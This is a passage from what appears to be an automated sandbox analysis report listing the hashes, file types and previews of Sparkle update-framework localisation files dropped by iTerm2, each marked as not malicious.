SHA-512:	41D95652285AAF0BC092EE907AA9FFD48553DE8E764C6CBE036F0EE44C07E4DE249E6EF0912017FD43516A187719B0459B88D6171CFB937EA2C8CDFC91AB3E5E
Malicious:	false
Reputation:	low
Preview:	../.. .".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.".;. ../...".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .z.o.s.t.a.B. .p.o.b.r.a.n.y. .i. .j.e.s.t. .g.o.t.o.w.y. .d.o. .u.\|.y.c.i.a.!. .C.z.y. .c.h.c.e.s.z. .t.e.r.a.z. .z.a.i.n.s.t.a.l.o.w.a... .i. .p.o.n.o.w.n.i.e. .u.r.u.c.h.o.m.i... .%.1.$.@.?.".;...../.*. .".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_BR.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13552
Entropy (8bit):	6.6933094622518965
Encrypted:	false
SSDEEP:	384:UgzJYEeqE0EeEYNg7qJ36lsPiI95TQlPM:UgXEeEYy/PM
MD5:	D6451316BE3C58D3405529A5A796015B
SHA1:	1AB465CA5D32251089D2D47A73E9428829971C7D
SHA-256:	D9012646F04DB060443DB76CB705EA57D5970BF5D8F18A9B3E7156C578576DC6
SHA-512:	8AB73C7028022FAD86F019B52CCCD8F8C737E422FD6D0DC3C42FC1EB47DD8BB0F913E5F5D8DC61F26B70EB9904675A5211325FD3D9311E55623E2A8B6D971102
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_BR.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23218
Entropy (8bit):	6.8603723043967975
Encrypted:	false
SSDEEP:	384:bRgbiTCPD3E0UeEYNg7W+EGax/v2YJtg8e5tQHNKw1yz0/sjJPKue:1g+TzeEYyLax/v2YJhBNi0/sNyue
MD5:	75E832AED58AB4A7F1792596EE7B1356
SHA1:	41C12669D80B1A357B39F666D5FF2A8B3A98E116
SHA-256:	2FCB37E1DB4497289F324B5EB3EA86C59E699553FE54B555D8199B96E280684F
SHA-512:	EDB5D58050DA8B304F174F96A7AAC7B8D3DA8F94C8BF994E641166B3B973F1EABE88DB0220C941AC18EC2753E59E5B4B8178453789E5E2BE4E10C85DD141C2E8
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_BR.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20256
Entropy (8bit):	6.753233420983856
Encrypted:	false
SSDEEP:	384:IAgjvqE0DeEYNg74d+0VutleshI8tEIy0oxlobM78XBcZO:JgAeEYyMVutUshI3n3loNcZO
MD5:	92266F5586B68E823C43743900FE23C9
SHA1:	C1E2470CE9CAAF95D227E57CA684A4AF53F53D0B
SHA-256:	850F2FC0D81D70E61AB64650B95B65A6AECC1C9BB87004A1079E7DF45A005EBE
SHA-512:	BD9334AE33F343CBE34B8BE33C250BC5F338256EA89B9AB1D9E93EC5ED928B6F457FF3D005369DDE94B406C9129E3D06D2BA41B639233A4413834DADA02C0228
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_BR.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9638
Entropy (8bit):	3.4246456797574294
Encrypted:	false
SSDEEP:	96:MNRufN4RsMf7Bur2B3D/3PIQUiZQRUx3wJT5I7NI7ZgI7+I781mHRnsTcjRn4du5:M+C3z3wQUZUSNNjRn4duvY42YJmkYa1D
MD5:	9A1321CC72C5AD2BFD162CE748079B21
SHA1:	7C204C3C43EC80951812BFE7ED2094F18B2D2C0B
SHA-256:	BCA96F085F42D13929BF4E65CD398BF31654793725621826DE60D4FB41423CB4
SHA-512:	24165B0F3E064311894331EEEA38406840CBBBC8FCF810E51CD55AD36C512A66B5636CC8146AB5AA4E4A953E3AADB3AE43E9094DBCD9576C86C9036A7257243C
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .f.o.i. .t.r.a.n.s.f.e.r.i.d.o. .e. .e.s.t... .p.r.o.n.t.o. .p.a.r.a. .u.s.o.!. .E.s.t.a. ... .u.m.a. .a.t.u.a.l.i.z.a.....o. .i.m.p.o.r.t.a.n.t.e.;. .d.e.s.e.j.a. .i.n.s.t.a.l.a.r. .e. .r.e.a.b.r.i.r. .o. .%.1.$.@. .a.g.o.r.a.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .f.o.i. .t.r.a.n.s.f.e.r.i.d.o. .e. .e.s.t... .p.r.o.n.t.o. .p.a.r.a. .u.s.o.!. .D.e.s.e.j.a. .i.n.s.t.a.l.a.r. .e. .r.e.a.b.r.i.r. .o. .%.1.$.@. .a.g.o.r.a.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_PT.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13558
Entropy (8bit):	6.6911082567488585
Encrypted:	false
SSDEEP:	384:UgzJvTeqE0EeEYNg7qJ36l7YI90hZwWoF:UgVEeEYyUwWoF
MD5:	763BB5F8FD0A83E8A1E21A57857B68D7
SHA1:	CABE4648A6CF52FEAE5F5E214D6ECAA512D7F140
SHA-256:	857D318FFF06F186788AC47C28B89E88FABA0622D54C511EBFACA4D15E095EED
SHA-512:	00C7E7E86DFC5C69A1B9E02A033B4C609C6ECFF3BA3EB6A312C4E75CB493A8E00FF3222D3B559C24775CC52046B7D636BEEBA70163C3063B4D3FB7880B6F9E26
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_PT.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23238
Entropy (8bit):	6.853288524222159
Encrypted:	false
SSDEEP:	384:bRgbiT5J3E0UeEYNg7W+EftjsPv2YJtg/w5tQHNKw2s9j8iQsuPjzQk:1g+TaeEYymtjsPv2YJ+/N7R8tPwk
MD5:	66881F33B8BD268C758FAB3397094C09
SHA1:	E561E9A5290C2D8136571F1D518CD7CCBDE6C3B6
SHA-256:	99AA847786EEDBC3C622A26CAEDA0F84458ED7E701363B841277A74BC437FED3
SHA-512:	AD39B9F3CF29BD61C0D1418DEF8918BD8974B33262B55A8EFBA6140C6F8E9B8F01C0F5699A12BB34FA4B00651F299F41021B98A32CDA623B2A8684374E35F7D2
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_PT.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20296
Entropy (8bit):	6.748199543613892
Encrypted:	false
SSDEEP:	384:IAgjvDE0DeEYNg74d+0VutleshI8tEpZKLxlobM78XjQVahl:Jg1eEYyMVutUshI3Hclo4u
MD5:	7801F0882C31F09650D9153F9464C192
SHA1:	0A28A567A84BF436675CE43868C4888A94118545
SHA-256:	9EF84B756D747EB8F5EB64E3694C6CD7DC600CFFC580E12080523D419F9537C0
SHA-512:	35DCB3CF4A9565C7C7E90313E8C735470A382EC0A3F7FD82AC635FB93EF80B4C89C24DDECD40F001CCAEF806A497F1723D4F8FEC866CBBA423F00FE8081F32F8
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_PT.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7840
Entropy (8bit):	3.4102252552032915
Encrypted:	false
SSDEEP:	96:M40AzP1BuyX3i/3+WQUikMRQRUxos91zDcI7HXI7ZcXI7MXI7shkmoqugcj6nbd7:MEX3Y3ZQU7U6iFZvoj6nbdzXxYM9
MD5:	D55C9834E53DD8E471905BC735CD6789
SHA1:	0B3559DAA191134650A1800567F0B53A8AA8687F
SHA-256:	41E767D868A4018A151D43058D9B380D8619D0E2D0B592920894D00D26F45AE1
SHA-512:	0E947C51E06B23AFDD52D5A28A54AAA797DB3C960EA32E683314771F068D35061F83037091E25D4C815B6239E05B4DC9FD83D0C44C9FBAACB773042F5887C78F
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".O. .%.1.$.@. .%.2.$.@. .f.o.i. .t.r.a.n.s.f.e.r.i.d.o. .e. .e.s.t... .p.r.o.n.t.o. .a. .i.n.s.t.a.l.a.r.!. .G.o.s.t.a.r.i.a. .d.e. .o. .f.a.z.e.r. .a.g.o.r.a. .e. .r.e.i.n.i.c.i.a.r. .o. .%.1.$.@. .p.o.s.t.e.r.i.o.r.m.e.n.t.e.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".O. .%.1.$.@. .n...o. .p.o.d.e. .s.e.r. .a.c.t.u.a.l.i.z.a.d.o. .q.u.a.n.d.o. .e.s.t.i.v.e.r. .a. .s.e.r. .e.x.e.c.u.t.a.d.o. .a. .p.a.r.t.i.r. .d.e. .u.m. .v.o.l.u.m.e. .a.p.e.n.a.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ro.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13586
Entropy (8bit):	6.699946599606499
Encrypted:	false
SSDEEP:	192:U1WzBQAFJGdFOeYjqE0lCjeEYNMtKwqJ36lEH/6T9rWxsJYYdT:UgzJJieqE0EeEYNg7qJ36lOI98sWYdT
MD5:	6A37A69E5C670A477BACD6BE09FC7D5F
SHA1:	3F06760E4ACECB17B46DA0059101BB3ED3A17EED
SHA-256:	E812BE2A3954DC44E700310070262F80DF936A7BD0FE1306102CA7EBD30EBA7B
SHA-512:	D7512DC9271E5CDF8C08FB92CF304247628A0F1A2825F4435D5D1F245FEA7610978C050E66A45039E0F321F08B9033C5A7FE54E82F6BB6ADAD04CE7936DBF50E
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ro.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23222
Entropy (8bit):	6.853160492950394
Encrypted:	false
SSDEEP:	384:bRgbiTp3E0UeEYNg7W+EWjLXv2YJtg2e5tQHNKwwrk8Dy/eHjfc0:1g+TgeEYyrjLXv2YJjBNwrw/Ow0
MD5:	EC33F42C8715107E45FFD9ABD58B7F0B
SHA1:	38D313B5D24D17A012C4F8BBBA39184A0C82E104
SHA-256:	D901AC6ED4120D5269FCE69985AEDB28CEFDE8821F503E26ABD76749F57F3C93
SHA-512:	7C994E2D88BC7A79D83DC6439B40AEF6D4D86AA836C364C552A783F814D28B17EE2AC80119E79CA5213C3285B32A899CC13F98AE5065D94A3239C370D270D6A1
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ro.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20014
Entropy (8bit):	6.794191269306508
Encrypted:	false
SSDEEP:	384:IAgjvKE0DeEYNg74d+0VutleshI8tE2YxlobM78Xv18/EqvV:JgYeEYyMVutUshI32MloZtqvV
MD5:	1B879B57B9B148F2B0874272EA5C10CB
SHA1:	E1E2536D0FC47DBF3DD9AB841E7B27D33C6058C8
SHA-256:	FFBB58DFFCAC57691DC2602471C66E8214C878F9B50C2167A9EC86CEEAF2020F
SHA-512:	CC41E00AFE31F1A6AE99EAAD5595B6F661E7B09B15F1EF48A5FF9F7929D5DDEDCA7C09BB2012F3E4A6E62040F23CB16F8E5110ADC55CE4CD541B7AA12C1E3765
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ro.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9790
Entropy (8bit):	3.4718380566924147
Encrypted:	false
SSDEEP:	192:8rc47/3q3/QUMU6U8ZBDqgnpuzhJPkXL6ER2N:KF7bFjZBDfpuzhJPkXL6jN
MD5:	0883C19137A17C3EF3326D085E1FFA38
SHA1:	0D04A045CD86B2E5E90DD06BB37C123D6E58DC0B
SHA-256:	1DA921B15264A55D22880736B66B90FE9D74EDD507EF4696238B6EB43197E4FB
SHA-512:	862BC028FA6B7468B7A6A36E46B582D1A488B3EC9C005B04C03C2694C76FC98E9001C3EF5ED218AAEC8A6777C295BCD62B48BEF56F6D0C8D06CB81BCE6EC30A6
Malicious:	false
Reputation:	low
Preview:	......".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .a. .f.o.s.t. .d.e.s.c...r.c.a.t... ...i. .e.s.t.e. .g.a.t.a. .d.e. .u.t.i.l.i.z.a.r.e.!. .A.c.e.a.s.t.a. .e.s.t.e. .o. .a.c.t.u.a.l.i.z.a.r.e. .i.m.p.o.r.t.a.n.t...;. .d.o.r.e...t.i. .s... .o. .i.n.s.t.a.l.e.z.i. ...i. .s... .r.e.l.a.n.s.a...i. .%.1.$.@. .a.c.u.m.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .a. .f.o.s.t. .d.e.s.c...r.c.a.t... ...i. .e.s.t.e. .g.a.t.a. .d.e. .u.t.i.l.i.z.a.r.e.!. .D.o.r.e...t.i. .s... .o. .i.n.s.t.a.l.e.z.i. ...i. .s... .r.e.l.a.n.s.a...i. .%.1.$.@. .a.c.u.m.?.".

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13626
Entropy (8bit):	6.734707342794964
Encrypted:	false
SSDEEP:	192:U1WzBQAFolGdPOeYjqE0lCjeEYNMtKwqJ36lZ/6T9rWHRo8nv:UgzJ88eqE0EeEYNg7qJ36lZI9DK
MD5:	9E8D2A4AAF1E5858B205BFEAE3106FD1
SHA1:	98B5CE7AE6C47BCD4F58326E0B843DA20CDAAA14
SHA-256:	9B1D9E8CB91872CCD5A6A3C9ECA21A0B77F20330FBE3B7FCECC48BB438543EC1
SHA-512:	264BF16B444E3F2CCB703E0FDD9AAF7DEA72948609F067DDC0F121255CBC373E6EAD09BF6E0384515331CDFFDA198AA93DAA8AA33BE2E5303566D544384E681E
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23272
Entropy (8bit):	6.875313628926776
Encrypted:	false
SSDEEP:	384:bRgbiI2IE0UeEYNg7W+E6c6c/5v2YJtbmzm5+QHNKwVcDHXGU3U3uj2m57:1g+IEeEYyXc6c/5v2YJo+NV2Ien57
MD5:	264A67009DE821115E1C308D4A63821A
SHA1:	10F5AC2C194DD7DE57793DF18D9617D62A59B4FE
SHA-256:	7E6DE107D0043B566FDB0A7556BFCA02044F54368200BC685516EB1841ECDEC2
SHA-512:	101D40123F47A46EFD7101A0C64E1A2B1DDB938252877A1B27C8F41B63F21110A74EC81FFEBE9A5D493EB4E48B1CCA32F11A6AF6E0A741CCEA6B3EF64788ABF1
Malicious:	false
Reputation:	low
